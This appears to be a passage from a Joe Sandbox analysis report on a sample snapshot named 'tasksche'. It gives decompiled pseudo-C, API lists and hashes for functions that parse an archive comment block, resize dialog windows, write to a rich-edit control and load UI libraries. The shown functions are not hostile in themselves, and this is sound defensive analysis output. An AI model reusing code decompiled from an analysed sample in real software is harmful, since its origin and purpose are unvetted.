Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Windows$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-2533930246
Opcode ID: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							_t104 = E00408BAE(_t167 - 0x1040, _t150); // executed
							 *((intOrPtr*)(_t167 - 0x1c)) = _t104;
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000); // executed
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
							_t92 = E00408E7B(_t134, _t150, _t90, 0x80000);
							__eflags =  *((char*)(_t167 + 0xb));
							 *(_t165 + 4) = _t92;
							if( *((char*)(_t167 + 0xb)) == 0) {
								_t156 = E0041CF3E(_t123, _t150, _t154, _t92 + _t92 + 2);
								__eflags = _t156 - _t123;
								if(_t156 != _t123) {
									 *((char*)( *(_t165 + 4) +  *_t165)) = 0;
									__eflags =  *(_t165 + 4) + 1;
									E00411B3C( *_t165, _t156,  *(_t165 + 4) + 1);
									_push( *_t165);
									E0041A506(_t123, _t156, _t165, __eflags);
									 *_t165 = _t156;
									goto L29;
								}
							} else {
								 *(_t165 + 4) = _t92 >> 1;
								L29:
								_t139 =  *(_t165 + 4);
								_t100 = 0x40000;
								__eflags = _t139 - 0x40000;
								if(_t139 <= 0x40000) {
									_t100 = _t139;
								}
								 *((short*)( *_t165 + _t100 * 2)) = 0;
								_t141 = 0;
								__eflags =  *(_t165 + 4);
								if( *(_t165 + 4) > 0) {
									while(1) {
										_t102 =  *_t165;
										_t153 =  *(_t102 + _t123 * 2) & 0x0000ffff;
										_t123 = _t123 + 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										__eflags = _t153 - 0x5c;
										if(_t153 != 0x5c) {
											__eflags = _t153 - 0xd;
											if(_t153 == 0xd) {
												L47:
												_push(0xc);
												goto L48;
											} else {
												__eflags = _t153 - 0xa;
												if(_t153 == 0xa) {
													goto L47;
												}
											}
										} else {
											_t158 = ( *(_t102 + _t123 * 2) & 0x0000ffff) - 0x22;
											__eflags = _t158;
											if(_t158 == 0) {
												_push(0x22);
												goto L44;
											} else {
												_t159 = _t158 - 0x3a;
												__eflags = _t159;
												if(_t159 == 0) {
													_push(0x5c);
													goto L44;
												} else {
													_t160 = _t159 - 0x12;
													__eflags = _t160;
													if(_t160 == 0) {
														_push(0xa);
														goto L44;
													} else {
														_t161 = _t160 - 4;
														__eflags = _t161;
														if(_t161 == 0) {
															_push(0xd);
															goto L44;
														} else {
															__eflags = _t161 == 0;
															if(_t161 == 0) {
																_push(9);
																L44:
																_t123 = _t123 + 1;
																L48:
																_pop(_t153);
															}
														}
													}
												}
											}
										}
										 *(_t102 + _t141 * 2) = _t153;
										_t141 = _t141 + 1;
										__eflags = _t123 -  *(_t165 + 4);
										if(_t123 <  *(_t165 + 4)) {
											continue;
										}
										goto L50;
									}
								}
								L50:
								__eflags = 0;
								 *((short*)( *_t165 + _t141 * 2)) = 0;
								 *(_t165 + 4) = _t141;
							}
							goto L51;
						}
						goto L52;
					} else {
						 *(_t167 - 4) =  *(_t167 - 4) | 0xffffffff;
						_t91 = E00408C7D(0, _t167 - 0x1040);
					}
					L53:
				} else {
					GetModuleFileNameW(0, _t83, 0x800);
					_t91 = E0041CA4F(_t167 - 0x2040, 0x5c);
					if(_t91 != 0) {
						_t83 = _t91 + 2;
						goto L3;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t167 - 0xc));
				return _t91;
			}

0x0040bc32
0x0040bc37
0x0040bc41
0x0040bc4c
0x0040bc4e
0x0040bc57
0x0040bc5d
0x0040bc88
0x0040bc8c
0x0040bc9a
0x0040bc9f
0x0040bca7
0x0040bca9
0x0040bcb0
0x0040bcba
0x0040bcd0
0x0040bcd0
0x0040bcd0
0x0040bcd4
0x0040bcd7
0x0040bcda
0x0040bcdb
0x0040bcdb
0x0040bcdf
0x00000000
0x00000000
0x0040bceb
0x0040bcf0
0x0040bcff
0x0040bd05
0x0040bd0a
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bdc8
0x0040bdce
0x0040bddd
0x0040bde2
0x0040bde5
0x0040bdec
0x00000000
0x0040bdf2
0x0040bdf2
0x0040bdf6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bdf6
0x0040bd1a
0x0040bd1a
0x0040bd1a
0x0040bd21
0x0040bd24
0x0040bd4b
0x0040bd4b
0x0040bd4f
0x0040bd7d
0x0040bd7d
0x0040bd80
0x00000000
0x0040bd82
0x0040bd82
0x0040bd8a
0x00000000
0x0040bd8c
0x0040bd9b
0x0040bda0
0x0040bda3
0x0040bda5
0x0040befd
0x0040befd
0x00000000
0x00000000
0x00000000
0x0040bda5
0x0040bd8a
0x0040bd51
0x0040bd51
0x0040bd58
0x0040bd5d
0x00000000
0x0040bd5f
0x0040bd62
0x0040bd65
0x0040bd67
0x00000000
0x0040bd69
0x0040bd71
0x0040bd76
0x0040bd79
0x0040bd7b
0x0040bdbc
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd7b
0x0040bd67
0x0040bd5d
0x0040bd26
0x0040bd26
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd3f
0x0040bd44
0x0040bd47
0x0040bd49
0x0040bdc0
0x0040bdc3
0x0040bdc3
0x0040bdc5
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd49
0x0040bd2e
0x00000000
0x0040bdab
0x0040bdae
0x0040bdb2
0x0040bdb2
0x00000000
0x0040bdba
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf03
0x0040bf07
0x00000000
0x0040bf0c
0x0040bdff
0x0040be09
0x0040be13
0x0040be19
0x0040be1b
0x0040be21
0x0040be23
0x0040be2f
0x0040be34
0x0040be38
0x0040be3b
0x0040be4e
0x0040be51
0x0040be53
0x0040be5e
0x0040be65
0x0040be6a
0x0040be6f
0x0040be71
0x0040be77
0x00000000
0x0040be77
0x0040be3d
0x0040be3f
0x0040be79
0x0040be79
0x0040be7c
0x0040be81
0x0040be83
0x0040be85
0x0040be85
0x0040be8b
0x0040be8f
0x0040be91
0x0040be94
0x0040be96
0x0040be96
0x0040be98
0x0040be9c
0x0040be9d
0x0040bea0
0x00000000
0x00000000
0x0040bea2
0x0040bea6
0x0040bed9
0x0040bedd
0x0040bee5
0x0040bee5
0x00000000
0x0040bedf
0x0040bedf
0x0040bee3
0x00000000
0x00000000
0x0040bee3
0x0040bea8
0x0040beac
0x0040beac
0x0040beaf
0x0040bed4
0x00000000
0x0040beb1
0x0040beb1
0x0040beb1
0x0040beb4
0x0040bed0
0x00000000
0x0040beb6
0x0040beb6
0x0040beb6
0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

*messages***, xrefs: 0040BD6B
*messages***, xrefs: 0040BD39
a, xrefs: 0040BD82

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(0040639B,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(0040639B,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(0040639B,000000C2,00000000,0042A810), ref: 0040D3A3

Part of subcall function 0041918B: DestroyWindow.USER32(?,742BBB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched32.dll, xrefs: 0041A076
riched20.dll, xrefs: 0041A07D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

